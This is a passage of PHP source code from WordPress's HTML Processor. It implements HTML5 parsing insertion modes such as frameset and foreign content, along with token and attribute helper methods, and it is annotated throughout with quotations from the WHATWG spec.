				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
